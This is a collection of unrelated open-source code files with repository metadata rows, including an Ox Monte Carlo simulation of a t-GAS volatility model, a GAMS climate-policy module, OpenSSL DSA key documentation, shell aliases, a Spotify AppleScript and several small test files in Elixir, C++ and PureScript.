fTransformBack(const avTheta, const vThetaStar){
avTheta[0]= vThetaStar;
avTheta[0][0] = exp(vThetaStar[0]);
avTheta[0][1] = exp(vThetaStar[1]);
avTheta[0][2] = 4+(100-4)*exp(vThetaStar[2])/(1+exp(vThetaStar[2]));
//actually need to restrict dLambda_hat between (4,100)
//otherwise there will be no convergence for small samples that occur Gaussian
return 1;
}
/*
** Function: calculate standard errors
**
** Input: vThetaStar
**
** Output: vStdErrors
*/
fSigmaStdError(const vThetaStar){
decl iN, mHessian, mHess, mJacobian, vStdErrors, vP;
iN = sizerc(s_vY);
Num2Derivative(fLogLike_GAS, vThetaStar, &mHessian);
//NumJacobian(fTransformBack, vThetaStar, &mJacobian); //numerical Jacobian
//mHessian = mJacobian*invert(-iN*mHessian)*mJacobian';
mHessian = invertgen(-iN*mHessian);
decl vDelta = ones(iPARS,1); //Jacobiaan Analytisch
vDelta[0] = exp(vThetaStar[0]);
vDelta[1] = exp(vThetaStar[1]);
vDelta[2] = (100-4)*exp(vThetaStar[2])/(1+exp(vThetaStar[2]))^2;
vStdErrors = vDelta.*sqrt(diagonal(mHessian)');
return vStdErrors;
}
/*
** Function: Estimate GAS parameters
**
** Input: vReturns, adAlpha_hat, adBeta_hat, adOmega_hat, adLambda_hat (dBeta_0 not necessary)
**
** Output: vTheta [estimated parametervalues]
*/
fEstimateGAS(const vReturns, const adAlpha_hat, const adBeta_hat, const adLambda_hat){
//initialise parameter values
decl vTheta = zeros(iPARS,1);
vTheta = <0.1 ; 0.99 ; 7>; // Alpha, Beta, Omega, Lambda Startingvalues
decl vThetaStart = vTheta;
//globalize returns and vectorize true pars
s_vY = vReturns;
//transform parameters
decl vThetaStar;
fTransform(&vThetaStar, vTheta);
//Maximize the LL
decl dFunc;
decl iA;
iA=MaxBFGS(fLogLike_GAS, &vThetaStar, &dFunc, 0, TRUE);
//Transform thetasStar back
fTransformBack(&vTheta, vThetaStar);
//return alpha, beta, omega and lambda
adAlpha_hat[0] = vTheta[0];
adBeta_hat[0] = vTheta[1];
adLambda_hat[0] = vTheta[2];
if(bSTD_ERROR){ //only do this for fMonteCarlo2
decl vSigmaStdError = fSigmaStdError(vThetaStar);
return vSigmaStdError;
}else{
return 1; //otherwise return 1 and end function
}
}
/*
** Function: Simulates and Estimates GAS data and parameters many times
** to illustrate Asymptotic normality
**
** Input: amMonteCarlo [matrix of many estimated parameters], dBeta_0;
**
** Output: 1
*/
fMonteCarlo(const amMonteCarlo){
decl mTemp;
mTemp = zeros(iB,iPARS);
for(decl i = 0; i<iB ; i++){
decl vReturns;
fSimGAS(dALPHA, dBETA, dOMEGA, dLAMBDA, dGAMMA, &vReturns, i);
decl dAlpha_hat, dBeta_hat, dLambda_hat, vSE;
vSE = fEstimateGAS(vReturns, &dAlpha_hat, &dBeta_hat, &dLambda_hat); //Omega and lambda also estimated
mTemp[i][0] = (dAlpha_hat - dALPHA)/vSE[0];
mTemp[i][1] = (dBeta_hat - dBETA)/vSE[1];
mTemp[i][2] = (dLambda_hat- dLAMBDA)/vSE[2];
}
amMonteCarlo[0] = mTemp;
return 1;
}
/*
** Function: Simulated and Estimates GAS data and parameters many times
** to illustrate consistency it returns minimum, mean and maximum values for the estimated parameters
**
** Input: amAlpha [matrix containing the min, max and mean of estimated alpha],
** amBeta [matrix containing the min, max and mean of estimated beta],
** amOmega [matrix containing the min, max and mean of estimated omega],
** amLambda [matrix containing the min, max and mean of estimated lambda], dBETA
**
** Output: 1
*/
fMonteCarlo2(const amAlpha, const amBeta, const amLambda, const amAlpha2, const amBeta2, const amLambda2){
decl mTemp, mTempAlpha, mTempBeta, mTempLambda;
decl mTemp2, mTempAlpha2, mTempBeta2, mTempLambda2;
mTempAlpha = mTempBeta = mTempLambda = zeros((iSIZE/iSTEPS),3);
mTempAlpha2 = mTempBeta2 = mTempLambda2 = zeros((iSIZE/iSTEPS),3);
mTemp = mTemp2 = zeros(iB,iPARS);
decl iSize = iSIZE;
for(decl j = 0; j<(iSize/iSTEPS) ; j++){
iSIZE = ((iSTEPS)*(j+1));
for(decl i = 0; i<iB ; i++){
decl vReturns;
fSimGAS2(dALPHA, dBETA, dOMEGA, dLAMBDA, dGAMMA, &vReturns, i);
decl dAlpha_hat, dBeta_hat, dLambda_hat, vSE;
vSE = fEstimateGAS(vReturns, &dAlpha_hat, &dBeta_hat, &dLambda_hat); //Omega and Lambda also estimated
mTemp[i][0] = sqrt(iSIZE)*(dAlpha_hat - dALPHA); //SQRT(T)*(\hat_\alpha_T - \alpha_0) ~ N(0, \SIGMA)
mTemp[i][1] = sqrt(iSIZE)*(dBeta_hat - dBETA);
mTemp[i][2] = sqrt(iSIZE)*(dLambda_hat- dLAMBDA);
//2nd part
mTemp2[i][0] = (dAlpha_hat - dALPHA)/vSE[0]; //(\hat_\alpha_T - \alpha_0)/SE(\hat_\alpha) ~ N(0, 1)
mTemp2[i][1] = (dBeta_hat - dBETA)/vSE[1];
mTemp2[i][2] = (dLambda_hat- dLAMBDA)/vSE[2];
//
}
// v0.025_quantile, vMean, v0.975_quantile; We get 95%-intervals
decl vMeanTemp, vQ0025Temp, vQ0975Temp;
vMeanTemp = meanc(mTemp);
for(decl i=0;i<sizerc(vecindex(isdotnan(meanc(mTemp))));i++){
vMeanTemp[vecindex(isdotnan(meanc(mTemp)))[i]] = meanc(deleter(mTemp[:][vecindex(isdotnan(meanc(mTemp)))[i]]));
}
vQ0025Temp = quantilec(mTemp,0.025);
vQ0975Temp = quantilec(mTemp,0.975);
mTempAlpha[j][0] = vQ0025Temp'[0];
mTempAlpha[j][1] = vMeanTemp'[0];
mTempAlpha[j][2] = vQ0975Temp'[0];
mTempBeta[j][0] = vQ0025Temp'[1];
mTempBeta[j][1] = vMeanTemp'[1];
mTempBeta[j][2] = vQ0975Temp'[1];
mTempLambda[j][0] = vQ0025Temp'[2];
mTempLambda[j][1] = vMeanTemp'[2];
mTempLambda[j][2] = vQ0975Temp'[2];
vMeanTemp = meanc(mTemp2);
for(decl i=0;i<sizerc(vecindex(isdotnan(meanc(mTemp2))));i++){
vMeanTemp[vecindex(isdotnan(meanc(mTemp2)))[i]] = meanc(deleter(mTemp2[:][vecindex(isdotnan(meanc(mTemp2)))[i]]));
}
vQ0025Temp = quantilec(mTemp2,0.025);
vQ0975Temp = quantilec(mTemp2,0.975);
mTempAlpha2[j][0] = vQ0025Temp'[0];
mTempAlpha2[j][1] = vMeanTemp'[0]; //deletec()
mTempAlpha2[j][2] = vQ0975Temp'[0];
mTempBeta2[j][0] = vQ0025Temp'[1];
mTempBeta2[j][1] = vMeanTemp'[1];
mTempBeta2[j][2] = vQ0975Temp'[1];
mTempLambda2[j][0] = vQ0025Temp'[2];
mTempLambda2[j][1] = vMeanTemp'[2];
mTempLambda2[j][2] = vQ0975Temp'[2];
}
amAlpha[0] = mTempAlpha;
amBeta[0] = mTempBeta;
// amOmega[0] = mTempOmega;
amLambda[0] = mTempLambda;
// amGamma[0] = mTempGamma;
amAlpha2[0] = mTempAlpha2;
amBeta2[0] = mTempBeta2;
// amOmega2[0] = mTempOmega2;
amLambda2[0]= mTempLambda2;
// amGamma2[0]= mTempGamma2;
return 1;
}
/*
** MAIN PROGRAM
**
** Purpose: For a given alpha, omega and lambda, get beta such that E log(alpha_0 z_t^2 + beta_0) = 0.
** Simulate GAS returns for alpha, omega, lambda and the found beta many time.
** Estimate GAS parameters alpha, beta, omega and lambda.
**
** Input: dALPHA, dOMEGA, dLAMBDA, iB, iSIZE, iSIMS, iSTEPS
**
** Output: Figures
*/
main(){
//SET PARAMETERS
dALPHA = 0.1;
dBETA = 0.99;
dOMEGA = 0.05;
dLAMBDA = 7;
dGAMMA = 0.1;
iPARS = 3;
///*
//** ..................................................................................
//** ASYMPTOTIC NORMALITY
//** Get distributions of alpha and beta (to check for asymptotic normality)
//**..................................................................................
//*/
//SET # OF SIMULATIONS
iB = 5000; //5000 possible
iSIZE = 5000; //5000 possible
iSIMS = iB*iSIZE;
vSTD_NORM = rann(iSIMS,1);
vSTD_STUDENT_T = sqrt((dLAMBDA-2)/dLAMBDA)*rant(iSIMS,1, dLAMBDA);
bSTD_ERROR = TRUE;
decl dBeta_0;
fGetBeta(iSIMS, &dBeta_0);
dBETA = dBeta_0;
//DO MANY SIMULATIONS AND ESITMATIONS
decl mMonteCarlo;
fMonteCarlo(&mMonteCarlo);
//DRAW GRAPHS
SetDrawWindow("SIM_t-GAS_0");
DrawDensity(0, (mMonteCarlo[][0])', {"(i) Density $\hat A_1$ AsymN"});
DrawDensity(1, (mMonteCarlo[][1])', {"(ii) Density $\hat B_1$ AsymN"});
DrawDensity(2, (mMonteCarlo[][2])', {"(iii) Density $\hat\lambda AsymN$"});
DrawDensity(0, vSTD_NORM', {"Z~N(0,1)"});
DrawDensity(1, vSTD_NORM', {"Z~N(0,1)"});
DrawDensity(2, vSTD_NORM', {"Z~N(0,1)"});
DrawTitle(0,"(i) $\hat A_1$ AsymN");
DrawTitle(1,"(ii) $\hat B_1$ AsymN");
DrawTitle(2,"(iii) $\hat \lambda$ AsymN");
print("\nFirst Graph Finished at ",time(),"\n");
/*
** ..................................................................................
** CONSISTENCY
** Check consistency for alpha and beta
** ..................................................................................
*/
//SET # OF SIMULATIONS
iB = 100; //100
iSIZE = 100000; //10000
iSIMS = iB*iSIZE;
mSTD_STUDENT_T = sqrt((dLAMBDA-2)/dLAMBDA)*rant(iB,iSIZE,dLAMBDA);
vSTD_STUDENT_T = vec(mSTD_STUDENT_T); //draw standardized student's t distributed
bSTD_ERROR = TRUE;
//GET BETA SUCH THAT WE GET EQUALITY
//decl dBeta_0;
fGetBeta(iSIMS, &dBeta_0);
dBETA = dBeta_0;
//DO MANY SIMULATIONS AND ESITMATIONS
decl mAlpha, mBeta, mLambda, mAlpha2, mBeta2, mLambda2;
iSTEPS = iSIZE/20; //steps of iSIZE/100 takes a while (steps of iSIZE/10 is faster)
fMonteCarlo2(&mAlpha, &mBeta, &mLambda, &mAlpha2, &mBeta2, &mLambda2);
//DRAW GRAPH
Draw(3, mAlpha',iSTEPS,iSTEPS);
Draw(4, mBeta',iSTEPS,iSTEPS);
Draw(5, mLambda',iSTEPS,iSTEPS);
DrawTitle(3,"(iv) $\hat A_1$ Cons");
DrawTitle(4,"(v) $\hat B_1$ Cons");
DrawTitle(5,"(vi) $\hat \lambda$ Cons");
print("\nSecond Graph Finished at ",time(),"\n");
Draw(6, mAlpha2',iSTEPS,iSTEPS);
Draw(7, mBeta2',iSTEPS,iSTEPS);
Draw(8, mLambda2',iSTEPS,iSTEPS);
DrawTitle(6,"(iv) $\hat A_1$ NormC");
DrawTitle(7,"(v) $\hat B_1$ NormC");
DrawTitle(8,"(vi) $\hat \lambda$ NormC");
ShowDrawWindow();
print("\nThird Graph Finished at ",time(),"\n");
}
| Ox | 5 | tamerdilaver/Simulation_t-GAS | SIM_t-GAS_0.ox | [
"MIT"
] |
template(name="mailActions")
div.trigger-item.trigger-item-mail
div.trigger-content.trigger-content-mail
div.trigger-text.trigger-text-email
| {{_'r-send-email'}}
div.trigger-dropdown-mail
input(id="email-to",type=text,placeholder="{{_'r-to'}}")
input(id="email-subject",type=text,placeholder="{{_'r-subject'}}")
textarea(id="email-msg")
div.trigger-button.trigger-button-email.js-mail-action.js-goto-rules
i.fa.fa-plus
| Jade | 3 | moqmar/wekan | client/components/rules/actions/mailActions.jade | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<faces-config>
<faces-config-extension>
<namespace-uri>http://www.ibm.com/xsp/custom</namespace-uri>
<default-prefix>xc</default-prefix>
<public>true</public>
</faces-config-extension>
<composite-component>
<component-type>mobileMemberView</component-type>
<composite-name>mobileMemberView</composite-name>
<composite-file>/mobileMemberView.xsp</composite-file>
<composite-extension>
<designer-extension>
<in-palette>true</in-palette>
<render-markup><?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
<xp:panel>authorProfileForm</xp:panel>
</xp:view></render-markup>
</designer-extension>
</composite-extension>
<property>
<property-name>URL</property-name>
<property-class>string</property-class>
<display-name>URL</display-name>
</property>
<property>
<property-name>Name</property-name>
<property-class>string</property-class>
<display-name>Name</display-name>
</property>
<property>
<property-name>Department</property-name>
<property-class>string</property-class>
<display-name>Department</display-name>
</property>
<property>
<property-name>JobTitle</property-name>
<property-class>string</property-class>
<display-name>JobTitle</display-name>
</property>
<property>
<property-name>Status</property-name>
<property-class>string</property-class>
<display-name>Status</display-name>
</property>
<property>
<property-name>Email</property-name>
<property-class>string</property-class>
<display-name>Email</display-name>
</property>
<property>
<property-name>Phone</property-name>
<property-class>string</property-class>
<display-name>Phone</display-name>
</property>
<property>
<property-name>Location</property-name>
<property-class>string</property-class>
<display-name>Location</display-name>
</property>
</composite-component>
</faces-config>
| XPages | 3 | jesse-gallagher/XPagesExtensionLibrary | extlib/lwp/product/nsf/Teamroom/CustomControls/mobileMemberView.xsp-config | [
"Apache-2.0"
] |
import App from 'next/app'
import { setConfig } from '../lib/config'
setConfig({ hello: 'world' })
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
MyApp.getInitialProps = async (appContext) => {
// calls page's `getInitialProps` and fills `appProps.pageProps`
const appProps = await App.getInitialProps(appContext)
return { ...appProps }
}
export default MyApp
| JavaScript | 4 | blomqma/next.js | test/integration/required-server-files-ssr-404/pages/_app.js | [
"MIT"
] |
module Main where
import Prelude
import Effect.Console (log)
import Effect.Uncurried (EffectFn3, mkEffectFn7, runEffectFn3, runEffectFn7)
import Test.Assert (assert)
testBothWays = do
res <- (runEffectFn7 $ mkEffectFn7 \x1 x2 x3 x4 x5 x6 x7 -> pure 42) 1 2 3 4 5 6 7
assert $ res == 42
foreign import add3 :: EffectFn3 String String String String
testRunFn = do
str <- runEffectFn3 add3 "a" "b" "c"
assert $ str == "abc"
main = do
testBothWays
testRunFn
log "Done"
| PureScript | 4 | andys8/purescript | tests/purs/passing/EffFn.purs | [
"BSD-3-Clause"
] |
;;; editor/god/config.el -*- lexical-binding: t; -*-
(use-package! god-mode
:hook (doom-after-init-modules . god-mode-all)
:config
(add-hook 'post-command-hook #'+god--configure-cursor-and-modeline-h)
(add-hook 'overwrite-mode-hook #'+god--toggle-on-overwrite-h)
(after! which-key
(which-key-enable-god-mode-support)))
| Emacs Lisp | 4 | leezu/doom-emacs | modules/editor/god/config.el | [
"MIT"
] |
*-------------------------------------------------------------------------------
* Default Climate Policy Implementation
*
* Options:
* --policy={bau (default),ctax}
* Implement a climate policy setting
* [ --scen= ]
* Policy variant.
* For ctax, it can be {ramsey,spa,XXX}, defining the growh rate of tax:
* * XXX for a fixed percentage/yr (e.g. 5) growth
* * 'ramsey' (default) for world average Ramsey consumption discount rate
* [ --ctax_year=2020 ]
* Starting year of the carbon tax
* [ --ctax_initial=30 ]
* Initial level of tax [USD2005/tCO2eq] (if %policy%==ctax)
*
*-------------------------------------------------------------------------------
$ifthen %phase%=='conf'
* Carbon tax default options
$ifthen.cx '%policy%'=='ctax'
** Starting year of the carbon tax
$setglobal ctax_year 2020
** Initial level of tax [USD2005/tCO2eq]
$setglobal ctax_initial 30
** Growh rate of tax, in percentage/yr (e.g. 5) or equal to
** 'ramsey' for world average Ramsey consumption discount rate
$setglobal scen ramsey
$endif.cx
*-------------------------------------------------------------------------------
$elseif %phase%=='sets'
* Runs
set run /r1/;
set to_run(run);
* Trading
set trading_t(*,t,n) 'Periods for the international markets per regions';
trading_t(c_mkt,t,n) = no;
trading_t(f_mkt,t,n) = no;
set internal(*) 'Internal markets [within coalition]';
internal(c_mkt) = no;
internal(f_mkt) = no;
set internal_clt(*,clt) 'Mapping between coalition and internal market';
internal_clt(c_mkt,clt) = no;
internal_clt(f_mkt,clt) = no;
set t_cap(t,n) 'Cap on emissions time periods and regions';
t_cap(t,n) = no;
*-------------------------------------------------------------------------------
$elseif %phase%=='include_data'
parameter ctax(ghg,t,n) 'Carbon tax [T$/GTonC]';
*-------------------------------------------------------------------------------
$elseif %phase%=='policy'
* Initialization
* Trading all time periods
trading_t(c_mkt,t,n) = yes;
trading_t(f_mkt,t,n) = yes;
* No carbon tax
ctax(ghg,t,n) = 0;
* Default emission cap
e_cap(ghg) = yes;
emi_cap(t,n) = 500;
$ifthen.pol %policy%=="bau"
to_run('r1') = yes;
trading_t(c_mkt,t,n) = no;
$elseif.pol %policy%=="ctax"
trading_t(c_mkt,t,n) = no;
to_run('r1') = yes;
ctax(ghg,t,n)$(year(t) eq %ctax_year%) = (%ctax_initial%) * c2co2 * 1e-3;
ctax(ghg,t,n)$(year(t) gt %ctax_year%) = valuein(%ctax_year%,ctax(ghg,tt,n)) *
$iftheni.cg '%scen%'=='ramsey'
(
(((sum(nn, Q.l('cc',t,nn))/sum(nn, l(t,nn))) / (sum(nn, valuein(%ctax_year%,Q.l('cc',tt,nn))) / sum(nn, valuein(%ctax_year%,l(tt,nn)))))**(eta)) *
((stpf(t)/valuein(%ctax_year%,stpf(tt)))**(-1))
)
$else.cg
((1+(%scen%)/100)**(year(t)-%ctax_year%))
$endif.cg
;
emi_cap(t,n) = 100; # very high number
$endif.pol
*-------------------------------------------------------------------------------
$elseif %phase%=='before_nashloop'
internal_clt(c_mkt,clt)$(internal(c_mkt) and (sum((t,n)$(map_clt_n(clt,n) and trading_t(c_mkt,t,n)),1) ge 1)) = yes;
internal_clt(f_mkt,clt)$(internal(f_mkt) and (sum((t,n)$(map_clt_n(clt,n) and trading_t(f_mkt,t,n)),1) ge 1)) = yes;
trading_t(c_mkt,t,n) = yes$(trading_t(c_mkt,t,n) and (not tfix(t)));
* By default no trading -> no cap, if t_cap was not set
if(card(t_cap) eq 0,
t_cap(t,n) = yes$(sum(c_mkt$trading_t(c_mkt,t,n),1));
);
$elseif %phase%=='gdx_items'
run
to_run
internal
internal_clt
trading_t
t_cap
ctax
$endif
| GAMS | 4 | witch-team/witchmodel | modules/core_policy.gms | [
"Apache-2.0"
] |
alias fl="flutter"
alias flr="flutter run"
alias fldoc="flutter doctor"
alias flb="flutter build"
alias flattach="flutter attach"
alias flget="flutter packages get"
alias flc="flutter clean"
| Shell | 3 | chensanle/ohmyzsh | plugins/flutter/flutter.plugin.zsh | [
"MIT"
] |
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/xla/debug_options_flags.h"
#include "tensorflow/compiler/xla/test.h"
#include "tensorflow/compiler/xla/tests/hlo_test_base.h"
#include "tensorflow/compiler/xla/tests/test_macros.h"
namespace xla {
namespace {
class GetDimensionSizeTest : public HloTestBase {};
// Test that the interpreter can correctly compute get_dimension_size.
TEST_F(GetDimensionSizeTest, DoIt) {
const char* const kModuleStr = R"(
HloModule a_inference_call_110__.55
ENTRY %a_inference_call_110__.55 (arg0.1: f32[1,8], arg1.2: f32[8], arg2.3: f32[8]) -> s32[] {
%constant.37 = f32[] constant(1e-12)
%broadcast.38 = f32[1,1]{1,0} broadcast(f32[] %constant.37), dimensions={}
%arg0.1 = f32[1,8]{1,0} parameter(0), parameter_replication={false}
%reshape.4 = f32[1,8]{1,0} reshape(f32[1,8]{1,0} %arg0.1)
%convert.5 = f32[1,8]{1,0} convert(f32[1,8]{1,0} %reshape.4)
%constant.6 = f32[] constant(0)
%convert.7 = f32[] convert(f32[] %constant.6)
ROOT %get-dimension-size.13 = s32[] get-dimension-size(f32[1,8]{1,0} %convert.5), dimensions={1}
}
)";
TF_ASSERT_OK_AND_ASSIGN(auto module,
ParseAndReturnVerifiedModule(kModuleStr));
EXPECT_TRUE(RunAndCompare(std::move(module), ErrorSpec{0.01, 0.01}));
}
} // anonymous namespace
} // namespace xla
| C++ | 4 | yage99/tensorflow | tensorflow/compiler/xla/tests/get_dimension_size_test.cc | [
"Apache-2.0"
] |
=pod
=head1 NAME
EVP_PKEY-DSA, EVP_KEYMGMT-DSA - EVP_PKEY DSA keytype and algorithm support
=head1 DESCRIPTION
For B<DSA> the FIPS186-4 standard specifies that the values used for FFC
parameter generation are also required for parameter validation.
This means that optional FFC domain parameter values for I<seed>, I<pcounter>
and I<gindex> may need to be stored for validation purposes. For B<DSA> these
fields are not stored in the ASN1 data so they need to be stored externally if
validation is required.
=head2 DSA parameters
The B<DSA> key type supports the FFC parameters (see
L<EVP_PKEY-FFC(7)/FFC parameters>).
=head2 DSA key generation parameters
The B<DSA> key type supports the FFC key generation parameters (see
L<EVP_PKEY-FFC(7)/FFC key generation parameters>
The following restrictions apply to the "pbits" field:
For "fips186_4" this must be either 2048 or 3072.
For "fips186_2" this must be 1024.
For "group" this can be any one of 2048, 3072, 4096, 6144 or 8192.
=head1 EXAMPLES
An B<EVP_PKEY> context can be obtained by calling:
EVP_PKEY_CTX *pctx = EVP_PKEY_CTX_new_from_name(NULL, "DSA", NULL);
The B<DSA> domain parameters can be generated by calling:
unsigned int pbits = 2048;
unsigned int qbits = 256;
int gindex = 1;
OSSL_PARAM params[5];
EVP_PKEY *param_key = NULL;
EVP_PKEY_CTX *pctx = NULL;
pctx = EVP_PKEY_CTX_new_from_name(NULL, "DSA", NULL);
EVP_PKEY_paramgen_init(pctx);
params[0] = OSSL_PARAM_construct_uint("pbits", &pbits);
params[1] = OSSL_PARAM_construct_uint("qbits", &qbits);
params[2] = OSSL_PARAM_construct_int("gindex", &gindex);
params[3] = OSSL_PARAM_construct_utf8_string("digest", "SHA384", 0);
params[4] = OSSL_PARAM_construct_end();
EVP_PKEY_CTX_set_params(pctx, params);
EVP_PKEY_generate(pctx, ¶m_key);
EVP_PKEY_CTX_free(pctx);
EVP_PKEY_print_params(bio_out, param_key, 0, NULL);
A B<DSA> key can be generated using domain parameters by calling:
EVP_PKEY *key = NULL;
EVP_PKEY_CTX *gctx = NULL;
gctx = EVP_PKEY_CTX_new_from_pkey(NULL, param_key, NULL);
EVP_PKEY_keygen_init(gctx);
EVP_PKEY_generate(gctx, &key);
EVP_PKEY_CTX_free(gctx);
EVP_PKEY_print_private(bio_out, key, 0, NULL);
=head1 CONFORMING TO
The following sections of FIPS 186-4:
=over 4
=item A.1.1.2 Generation of Probable Primes p and q Using an Approved Hash Function.
=item A.2.3 Generation of canonical generator g.
=item A.2.1 Unverifiable Generation of the Generator g.
=back
=head1 SEE ALSO
L<EVP_PKEY-FFC(7)>,
L<EVP_SIGNATURE-DSA(7)>
L<EVP_PKEY(3)>,
L<provider-keymgmt(7)>,
L<EVP_KEYMGMT(3)>,
L<OSSL_PROVIDER-default(7)>,
L<OSSL_PROVIDER-FIPS(7)>
=head1 COPYRIGHT
Copyright 2020-2021 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the Apache License 2.0 (the "License"). You may not use
this file except in compliance with the License. You can obtain a copy
in the file LICENSE in the source distribution or at
L<https://www.openssl.org/source/license.html>.
=cut
| Pod | 4 | pmesnier/openssl | doc/man7/EVP_PKEY-DSA.pod | [
"Apache-2.0"
] |
if [ $commands[operator-sdk] ]; then
source <(operator-sdk completion zsh)
compdef _operator-sdk operator-sdk
fi
| Shell | 3 | residwi/ohmyzsh | plugins/operator-sdk/operator-sdk.plugin.zsh | [
"MIT"
] |
// Copyright 2021 gRPC authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef GRPC_CORE_LIB_RESOURCE_QUOTA_RESOURCE_QUOTA_H
#define GRPC_CORE_LIB_RESOURCE_QUOTA_RESOURCE_QUOTA_H
#include <grpc/support/port_platform.h>
#include "src/core/lib/resource_quota/memory_quota.h"
#include "src/core/lib/resource_quota/thread_quota.h"
namespace grpc_core {
class ResourceQuota : public RefCounted<ResourceQuota> {
public:
ResourceQuota();
~ResourceQuota() override;
ResourceQuota(const ResourceQuota&) = delete;
ResourceQuota& operator=(const ResourceQuota&) = delete;
std::shared_ptr<MemoryQuota> memory_quota() { return memory_quota_; }
const RefCountedPtr<ThreadQuota>& thread_quota() { return thread_quota_; }
private:
std::shared_ptr<MemoryQuota> memory_quota_;
RefCountedPtr<ThreadQuota> thread_quota_;
};
} // namespace grpc_core
#endif // GRPC_CORE_LIB_RESOURCE_QUOTA_RESOURCE_QUOTA_H
| C | 3 | bostikforever/grpc | src/core/lib/resource_quota/resource_quota.h | [
"Apache-2.0"
] |
package com.baeldung.storedprocedure.entity;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.NamedStoredProcedureQuery;
import javax.persistence.StoredProcedureParameter;
import javax.persistence.ParameterMode;
@Entity
@NamedStoredProcedureQuery(name = "Car.getTotalCardsbyModelEntity", procedureName = "GET_TOTAL_CARS_BY_MODEL", parameters = {
@StoredProcedureParameter(mode = ParameterMode.IN, name = "model_in", type = String.class),
@StoredProcedureParameter(mode = ParameterMode.OUT, name = "count_out", type = Integer.class) })
public class Car {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column
private long id;
@Column
private String model;
@Column
private Integer year;
public long getId() {
return id;
}
public String getModel() {
return model;
}
public Integer getYear() {
return year;
}
}
| Java | 4 | DBatOWL/tutorials | persistence-modules/spring-data-jpa-repo/src/main/java/com/baeldung/storedprocedure/entity/Car.java | [
"MIT"
] |
#!/usr/bin/osascript
# Required parameters:
# @raycast.schemaVersion 1
# @raycast.title Current Track
# @raycast.mode inline
# @raycast.refreshTime 30s
# Optional parameters:
# @raycast.packageName Spotify
# @raycast.icon images/spotify-logo.png
# Documentation:
# @raycast.author Thomas Paul Mann
# @raycast.authorURL https://github.com/thomaspaulmann
# @raycast.description Show currently playing track in Spotify.
if application "Spotify" is not running then
log "Not playing"
return
end if
property currentTrackName : "Unknown Track"
property currentTrackArtist : "Unknown Artist"
property playerState : "stopped"
tell application "Spotify"
try
set currentTrackName to name of the current track
set currentTrackArtist to artist of the current track
set playerState to player state as string
end try
end tell
if playerState is "playing" then
log currentTrackName & " by " & currentTrackArtist
else if playerState is "paused" then
log currentTrackName & " by " & currentTrackArtist & " (Paused)"
else
log "Not playing"
end if
| AppleScript | 5 | tanaynistala/script-commands | commands/media/spotify/spotify-current-track.applescript | [
"MIT"
] |
"""Config flow for the Hardkernel integration."""
from __future__ import annotations
from typing import Any
from homeassistant.config_entries import ConfigFlow
from homeassistant.data_entry_flow import FlowResult
from .const import DOMAIN
class HardkernelConfigFlow(ConfigFlow, domain=DOMAIN):
"""Handle a config flow for Hardkernel."""
VERSION = 1
async def async_step_system(self, data: dict[str, Any] | None = None) -> FlowResult:
"""Handle the initial step."""
if self._async_current_entries():
return self.async_abort(reason="single_instance_allowed")
return self.async_create_entry(title="Hardkernel", data={})
| Python | 4 | liangleslie/core | homeassistant/components/hardkernel/config_flow.py | [
"Apache-2.0"
] |
xilil-nabyf-gynih-duheb-gokyp-bofet-nekac-bosod-lozin-kuvyh-poxix
| BitBake | 0 | ArrogantWombatics/openbsd-src | regress/usr.bin/ssh/unittests/sshkey/testdata/rsa1_1.fp.bb | [
"BSD-3-Clause"
] |
Code.require_file("test_helper.exs", __DIR__)
defmodule MapSetTest do
use ExUnit.Case, async: true
doctest MapSet
test "new/1" do
result = MapSet.new(1..5)
assert MapSet.equal?(result, Enum.into(1..5, MapSet.new()))
end
test "new/2" do
result = MapSet.new(1..5, &(&1 + 2))
assert MapSet.equal?(result, Enum.into(3..7, MapSet.new()))
end
test "put/2" do
result = MapSet.put(MapSet.new(), 1)
assert MapSet.equal?(result, MapSet.new([1]))
result = MapSet.put(MapSet.new([1, 3, 4]), 2)
assert MapSet.equal?(result, MapSet.new(1..4))
result = MapSet.put(MapSet.new(5..100), 10)
assert MapSet.equal?(result, MapSet.new(5..100))
end
test "union/2" do
result = MapSet.union(MapSet.new([1, 3, 4]), MapSet.new())
assert MapSet.equal?(result, MapSet.new([1, 3, 4]))
result = MapSet.union(MapSet.new(5..15), MapSet.new(10..25))
assert MapSet.equal?(result, MapSet.new(5..25))
result = MapSet.union(MapSet.new(1..120), MapSet.new(1..100))
assert MapSet.equal?(result, MapSet.new(1..120))
end
test "intersection/2" do
result = MapSet.intersection(MapSet.new(), MapSet.new(1..21))
assert MapSet.equal?(result, MapSet.new())
result = MapSet.intersection(MapSet.new(1..21), MapSet.new(4..24))
assert MapSet.equal?(result, MapSet.new(4..21))
result = MapSet.intersection(MapSet.new(2..100), MapSet.new(1..120))
assert MapSet.equal?(result, MapSet.new(2..100))
end
test "difference/2" do
result = MapSet.difference(MapSet.new(2..20), MapSet.new())
assert MapSet.equal?(result, MapSet.new(2..20))
result = MapSet.difference(MapSet.new(2..20), MapSet.new(1..21))
assert MapSet.equal?(result, MapSet.new())
result = MapSet.difference(MapSet.new(1..101), MapSet.new(2..100))
assert MapSet.equal?(result, MapSet.new([1, 101]))
end
test "disjoint?/2" do
assert MapSet.disjoint?(MapSet.new(), MapSet.new())
assert MapSet.disjoint?(MapSet.new(1..6), MapSet.new(8..20))
refute MapSet.disjoint?(MapSet.new(1..6), MapSet.new(5..15))
refute MapSet.disjoint?(MapSet.new(1..120), MapSet.new(1..6))
end
